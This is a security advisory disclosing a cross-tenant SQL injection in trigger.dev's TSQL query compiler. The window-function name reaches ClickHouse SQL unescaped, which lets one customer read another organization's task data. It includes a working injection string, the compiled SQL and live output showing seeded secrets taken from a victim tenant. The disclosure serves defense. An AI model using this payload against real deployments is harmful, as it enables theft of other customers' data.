GHSA-9Q4R-4842-93VW

A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard, except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.

Details

Vulnerable sink, internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:

private visitWindowFunction(node: WindowFunction): string {
  const args = node.args ? node.args.map((a) => this.visit(a)) : [];
  const funcCall = `${node.name}(${args.join(", ")})`;   // <-- node.name concatenated RAW
  ...
}

node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:

• The normal function-call path visitCall (printer.ts:2951) throws Unknown function for any name outside the hardcoded TSQL_CLICKHOUSE_FUNCTIONS / TSQL_AGGREGATIONS allowlists, this gate is absent on the window-function path.
• String constants are bound as ClickHouse query_params (parameterized).
• Other identifiers go through escapeClickHouseIdentifier.
• Table functions (url()/file()/remote()/s3()) are rejected.

A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters, spaces, (, ), ,, ', a full subquery, become the "function name" and are printed verbatim.

How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organization_id/project_id/environment_id taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.

Reachability, apps/webapp/app/routes/api.v1.query.ts:

• body.query is a raw z.string().
• Auth is any environment-scoped credential, a private API key or a public JWT, i.e. any signed-up customer.
• The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.
• executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.

PoC

Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.

1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):

SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs

2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):

SELECT count() OVER (),
       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED
       dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
          equals(task_runs.project_id,      {tsql_val_1: String}),
          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table
LIMIT 10000

The injected subquery against org_OTHER_TENANT is emitted raw (its org id is a literal, not a bound {tsql_val} param) and sits outside the tenant guard.

3. Live ClickHouse execution. A trigger_dev.task_runs_v2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to org_tenant1:

Seed:
  org_tenant1      -> payload 'tenant1-public-data'                         (attacker's own org)
  org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
                      'VICTIM-SECRET-db_password_hunter2'                    (victim)

Baseline (legitimate tenant1 query, guard = org_tenant1):
  -> 'tenant1-public-data'                                                  (only own data)

Exploit (injected subquery, guard STILL org_tenant1):
  SELECT 1 AS keep,
         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
         count() OVER () AS w
  FROM trigger_dev.task_runs_v2 AS task_runs
  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
  -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']

A caller scoped to org_tenant1 exfiltrated org_OTHER_TENANT's secret payloads, cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.

Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to org_tenant1 and assert the output contains (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT'). Then run that SQL against a ClickHouse seeded as above.